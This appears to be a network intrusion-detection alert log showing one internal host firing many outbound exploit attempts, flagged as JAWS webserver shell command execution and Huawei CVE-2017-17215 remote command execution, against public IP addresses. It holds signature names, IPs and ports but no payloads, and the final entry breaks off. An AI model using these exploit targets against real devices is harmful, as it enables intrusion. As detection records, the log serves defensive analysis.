Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.20.133.139

Timestamp:	192.168.2.23198.20.133.13946570802030092 07/11/22-01:03:50.179711
SID:	2030092
Source Port:	46570
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.58.203

Timestamp:	192.168.2.23156.238.58.20357546372152835222 07/11/22-01:02:50.592367
SID:	2835222
Source Port:	57546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 73.247.202.219

Timestamp:	192.168.2.2373.247.202.21935196802030092 07/11/22-01:02:46.168453
SID:	2030092
Source Port:	35196
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.62.135.238

Timestamp:	192.168.2.2323.62.135.23851606802030092 07/11/22-01:03:43.997777
SID:	2030092
Source Port:	51606
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.75.243.142

Timestamp:	192.168.2.2334.75.243.14253744802030092 07/11/22-01:02:56.204511
SID:	2030092
Source Port:	53744
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.129.231.106

Timestamp:	192.168.2.2362.129.231.10654770802030092 07/11/22-01:03:53.753343
SID:	2030092
Source Port:	54770
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.19.123

Timestamp:	192.168.2.23156.224.19.12339292372152835222 07/11/22-01:03:44.407988
SID:	2835222
Source Port:	39292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 190.80.234.215

Timestamp:	192.168.2.23190.80.234.21546736802030092 07/11/22-01:03:24.357683
SID:	2030092
Source Port:	46736
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.114.181

Timestamp:	192.168.2.23156.241.114.18157170372152835222 07/11/22-01:03:31.234338
SID:	2835222
Source Port:	57170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.51.127.228

Timestamp:	192.168.2.23103.51.127.22845852802030092 07/11/22-01:04:03.219908
SID:	2030092
Source Port:	45852
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.80.192.233

Timestamp:	192.168.2.2382.80.192.23342796802030092 07/11/22-01:03:01.094131
SID:	2030092
Source Port:	42796
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.214.235.232

Timestamp:	192.168.2.2323.214.235.23248156802030092 07/11/22-01:02:39.285003
SID:	2030092
Source Port:	48156
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 110.43.39.105

Timestamp:	192.168.2.23110.43.39.10538702802030092 07/11/22-01:02:40.831025
SID:	2030092
Source Port:	38702
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.70.176

Timestamp:	192.168.2.23156.241.70.17638228372152835222 07/11/22-01:03:35.892601
SID:	2835222
Source Port:	38228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 59.31.146.92

Timestamp:	192.168.2.2359.31.146.9242304802030092 07/11/22-01:02:13.337822
SID:	2030092
Source Port:	42304
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.158.32.153

Timestamp:	192.168.2.23107.158.32.15341816802030092 07/11/22-01:03:33.988270
SID:	2030092
Source Port:	41816
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.247.74.216

Timestamp:	192.168.2.23104.247.74.21637020802030092 07/11/22-01:03:40.697945
SID:	2030092
Source Port:	37020
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.61.55.37

Timestamp:	192.168.2.23194.61.55.3735498802030092 07/11/22-01:03:02.093303
SID:	2030092
Source Port:	35498
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 207.90.204.221

Timestamp:	192.168.2.23207.90.204.22141156802030092 07/11/22-01:02:51.058882
SID:	2030092
Source Port:	41156
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.179.156.198

Timestamp:	192.168.2.23185.179.156.19844734802030092 07/11/22-01:03:21.246027
SID:	2030092
Source Port:	44734
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.117.108.181

Timestamp:	192.168.2.2334.117.108.18134904802030092 07/11/22-01:02:14.060434
SID:	2030092
Source Port:	34904
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.110.16

Timestamp:	192.168.2.23156.226.110.1634652372152835222 07/11/22-01:03:26.265194
SID:	2835222
Source Port:	34652
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.121.188.172

Timestamp:	192.168.2.2334.121.188.17239864802030092 07/11/22-01:04:12.280343
SID:	2030092
Source Port:	39864
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.51.85

Timestamp:	192.168.2.23156.226.51.8543022372152835222 07/11/22-01:02:20.026860
SID:	2835222
Source Port:	43022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.161.188.176

Timestamp:	192.168.2.2389.161.188.17648042802030092 07/11/22-01:02:31.239228
SID:	2030092
Source Port:	48042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 122.40.131.141

Timestamp:	192.168.2.23122.40.131.14144834802030092 07/11/22-01:03:52.444041
SID:	2030092
Source Port:	44834
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.209.233.201

Timestamp:	192.168.2.2352.209.233.20152394802030092 07/11/22-01:03:40.579789
SID:	2030092
Source Port:	52394
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 153.109.152.50

Timestamp:	192.168.2.23153.109.152.5033226802030092 07/11/22-01:04:00.086896
SID:	2030092
Source Port:	33226
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 149.115.23.61

Timestamp:	192.168.2.23149.115.23.6152560802030092 07/11/22-01:03:12.488684
SID:	2030092
Source Port:	52560
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 220.133.76.139

Timestamp:	192.168.2.23220.133.76.13950796802030092 07/11/22-01:03:15.275229
SID:	2030092
Source Port:	50796
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.139.212.173

Timestamp:	192.168.2.23202.139.212.17338942802030092 07/11/22-01:03:44.445714
SID:	2030092
Source Port:	38942
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 120.201.27.117

Timestamp:	192.168.2.23120.201.27.11737460802030092 07/11/22-01:03:33.447374
SID:	2030092
Source Port:	37460
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.53.8

Timestamp:	192.168.2.23156.254.53.843818372152835222 07/11/22-01:04:11.351851
SID:	2835222
Source Port:	43818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.87.41.47

Timestamp:	192.168.2.23104.87.41.4738210802030092 07/11/22-01:03:41.629888
SID:	2030092
Source Port:	38210
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 147.210.116.181

Timestamp:	192.168.2.23147.210.116.18137924802030092 07/11/22-01:03:23.612709
SID:	2030092
Source Port:	37924
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.26.121

Timestamp:	192.168.2.23156.224.26.12147830372152835222 07/11/22-01:03:26.160238
SID:	2835222
Source Port:	47830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 137.184.46.49

Timestamp:	192.168.2.23137.184.46.4940822802030092 07/11/22-01:03:44.425981
SID:	2030092
Source Port:	40822
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.51.227.162

Timestamp:	192.168.2.23184.51.227.16239090802030092 07/11/22-01:02:46.863788
SID:	2030092
Source Port:	39090
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 148.251.251.188

Timestamp:	192.168.2.23148.251.251.18860052802030092 07/11/22-01:03:26.958714
SID:	2030092
Source Port:	60052
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 86.5.221.84

Timestamp:	192.168.2.2386.5.221.8455142802030092 07/11/22-01:03:27.012501
SID:	2030092
Source Port:	55142
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.242.18.228

Timestamp:	192.168.2.2334.242.18.22853446802030092 07/11/22-01:03:42.245687
SID:	2030092
Source Port:	53446
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.145.110.91

Timestamp:	192.168.2.2338.145.110.9141962802030092 07/11/22-01:02:56.079403
SID:	2030092
Source Port:	41962
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.111.184.133

Timestamp:	192.168.2.2334.111.184.13337234802030092 07/11/22-01:03:57.976852
SID:	2030092
Source Port:	37234
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.105.43

Timestamp:	192.168.2.23156.226.105.4333792372152835222 07/11/22-01:02:38.612660
SID:	2835222
Source Port:	33792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 71.10.192.165

Timestamp:	192.168.2.2371.10.192.16536698802030092 07/11/22-01:02:56.091323
SID:	2030092
Source Port:	36698
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.11.131.80

Timestamp:	192.168.2.2323.11.131.8038308802030092 07/11/22-01:02:23.632483
SID:	2030092
Source Port:	38308
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 160.121.236.219

Timestamp:	192.168.2.23160.121.236.21957766802030092 07/11/22-01:04:08.474723
SID:	2030092
Source Port:	57766
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 63.150.9.100

Timestamp:	192.168.2.2363.150.9.10034606802030092 07/11/22-01:04:09.171038
SID:	2030092
Source Port:	34606
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 88.126.11.34

Timestamp:	192.168.2.2388.126.11.3454028802030092 07/11/22-01:03:24.206365
SID:	2030092
Source Port:	54028
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 156.17.207.61

Timestamp:	192.168.2.23156.17.207.6160584802030092 07/11/22-01:03:58.110536
SID:	2030092
Source Port:	60584
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.185.137.18

Timestamp:	192.168.2.23146.185.137.1850768802030092 07/11/22-01:03:40.069890
SID:	2030092
Source Port:	50768
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.109.237

Timestamp:	192.168.2.23156.244.109.23756186372152835222 07/11/22-01:02:47.515447
SID:	2835222
Source Port:	56186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 168.228.120.8

Timestamp:	192.168.2.23168.228.120.834662802030092 07/11/22-01:03:15.149653
SID:	2030092
Source Port:	34662
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 63.215.181.103

Timestamp:	192.168.2.2363.215.181.10341778802030092 07/11/22-01:03:30.251802
SID:	2030092
Source Port:	41778
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.232.91.83

Timestamp:	192.168.2.23156.232.91.8360002372152835222 07/11/22-01:04:11.055498
SID:	2835222
Source Port:	60002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 193.112.116.21

Timestamp:	192.168.2.23193.112.116.2153056802030092 07/11/22-01:02:44.532980
SID:	2030092
Source Port:	53056
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.96.92.9

Timestamp:	192.168.2.2334.96.92.933836802030092 07/11/22-01:04:01.026707
SID:	2030092
Source Port:	33836
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.79.149.6

Timestamp:	192.168.2.2323.79.149.639988802030092 07/11/22-01:04:09.008398
SID:	2030092
Source Port:	39988
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.20.184.127

Timestamp:	192.168.2.23185.20.184.12740520802030092 07/11/22-01:04:06.036371
SID:	2030092
Source Port:	40520
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.143.176.116

Timestamp:	192.168.2.2351.143.176.11635116802030092 07/11/22-01:03:03.985372
SID:	2030092
Source Port:	35116
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 31.223.161.27

Timestamp:	192.168.2.2331.223.161.2755674802030092 07/11/22-01:02:31.257327
SID:	2030092
Source Port:	55674
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.98.103.51

Timestamp:	192.168.2.23104.98.103.5135886802030092 07/11/22-01:02:14.289846
SID:	2030092
Source Port:	35886
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.236.134.225

Timestamp:	192.168.2.23104.236.134.22552442802030092 07/11/22-01:03:55.443996
SID:	2030092
Source Port:	52442
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 203.64.95.48

Timestamp:	192.168.2.23203.64.95.4840512802030092 07/11/22-01:02:56.378488
SID:	2030092
Source Port:	40512
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 118.167.135.210

Timestamp:	192.168.2.23118.167.135.21058598802030092 07/11/22-01:03:01.813492
SID:	2030092
Source Port:	58598
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.65.215.209

Timestamp:	192.168.2.2318.65.215.20939418802030092 07/11/22-01:03:20.876948
SID:	2030092
Source Port:	39418
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 96.6.203.191

Timestamp:	192.168.2.2396.6.203.19160788802030092 07/11/22-01:04:09.188913
SID:	2030092
Source Port:	60788
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 85.153.107.151

Timestamp:	192.168.2.2385.153.107.15148950802030092 07/11/22-01:03:37.253438
SID:	2030092
Source Port:	48950
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.45.56

Timestamp:	192.168.2.23156.254.45.5649118372152835222 07/11/22-01:03:54.580373
SID:	2835222
Source Port:	49118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 168.206.144.249

Timestamp:	192.168.2.23168.206.144.24941200802030092 07/11/22-01:03:47.068870
SID:	2030092
Source Port:	41200
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 120.233.193.138

Timestamp:	192.168.2.23120.233.193.13834922802030092 07/11/22-01:03:50.914949
SID:	2030092
Source Port:	34922
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.250.17.95

Timestamp:	192.168.2.2323.250.17.9544176802030092 07/11/22-01:02:38.254766
SID:	2030092
Source Port:	44176
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 218.60.40.177

Timestamp:	192.168.2.23218.60.40.17759804802030092 07/11/22-01:02:50.436834
SID:	2030092
Source Port:	59804
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 197.25.168.112

Timestamp:	192.168.2.23197.25.168.11256530802030092 07/11/22-01:03:23.586921
SID:	2030092
Source Port:	56530
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.244.54.40

Timestamp:	192.168.2.2347.244.54.4051634802030092 07/11/22-01:03:04.413355
SID:	2030092
Source Port:	51634
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 148.72.79.214

Timestamp:	192.168.2.23148.72.79.21452654802030092 07/11/22-01:03:00.648782
SID:	2030092
Source Port:	52654
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.178.224.26

Timestamp:	192.168.2.2351.178.224.2645304802030092 07/11/22-01:03:47.097566
SID:	2030092
Source Port:	45304
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 162.253.198.244

Timestamp:	192.168.2.23162.253.198.24434216802030092 07/11/22-01:04:14.883914
SID:	2030092
Source Port:	34216
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.160.252.106

Timestamp:	192.168.2.2318.160.252.10645220802030092 07/11/22-01:04:11.853913
SID:	2030092
Source Port:	45220
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.193.127.27

Timestamp:	192.168.2.2318.193.127.2739928802030092 07/11/22-01:02:54.006491
SID:	2030092
Source Port:	39928
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 93.123.57.186

Timestamp:	192.168.2.2393.123.57.18634444802030092 07/11/22-01:03:05.863720
SID:	2030092
Source Port:	34444
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.123.71.211

Timestamp:	192.168.2.23104.123.71.21145372802030092 07/11/22-01:02:45.041838
SID:	2030092
Source Port:	45372
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 74.50.31.37

Timestamp:	192.168.2.2374.50.31.3743308802030092 07/11/22-01:02:23.373353
SID:	2030092
Source Port:	43308
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 162.222.178.143

Timestamp:	192.168.2.23162.222.178.14339082802030092 07/11/22-01:03:24.310100
SID:	2030092
Source Port:	39082
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 162.241.192.95

Timestamp:	192.168.2.23162.241.192.9552328802030092 07/11/22-01:03:07.266889
SID:	2030092
Source Port:	52328
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 171.255.192.91

Timestamp:	192.168.2.23171.255.192.9143608802030092 07/11/22-01:03:19.361096
SID:	2030092
Source Port:	43608
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.147.178.186

Timestamp:	192.168.2.2338.147.178.18638080802030092 07/11/22-01:04:05.876589
SID:	2030092
Source Port:	38080
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 128.199.217.240

Timestamp:	192.168.2.23128.199.217.24059964802030092 07/11/22-01:02:14.300067
SID:	2030092
Source Port:	59964
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 99.86.115.165

Timestamp:	192.168.2.2399.86.115.16536286802030092 07/11/22-01:02:53.781236
SID:	2030092
Source Port:	36286
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.56.115

Timestamp:	192.168.2.23156.238.56.11555860372152835222 07/11/22-01:02:54.244866
SID:	2835222
Source Port:	55860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.163.225.30

Timestamp:	192.168.2.23194.163.225.3042610802030092 07/11/22-01:02:51.836016
SID:	2030092
Source Port:	42610
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.67.126.54

Timestamp:	192.168.2.23194.67.126.5451984802030092 07/11/22-01:03:53.027425
SID:	2030092
Source Port:	51984
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.83.133.23

Timestamp:	192.168.2.23104.83.133.2360776802030092 07/11/22-01:04:06.999103
SID:	2030092
Source Port:	60776
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.25.143

Timestamp:	192.168.2.23156.224.25.14348070372152835222 07/11/22-01:02:47.460230
SID:	2835222
Source Port:	48070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 115.86.250.187

Timestamp:	192.168.2.23115.86.250.18752936802030092 07/11/22-01:02:53.632526
SID:	2030092
Source Port:	52936
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.67.17.77

Timestamp:	192.168.2.2323.67.17.7753354802030092 07/11/22-01:03:27.437196
SID:	2030092
Source Port:	53354
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 75.103.67.242

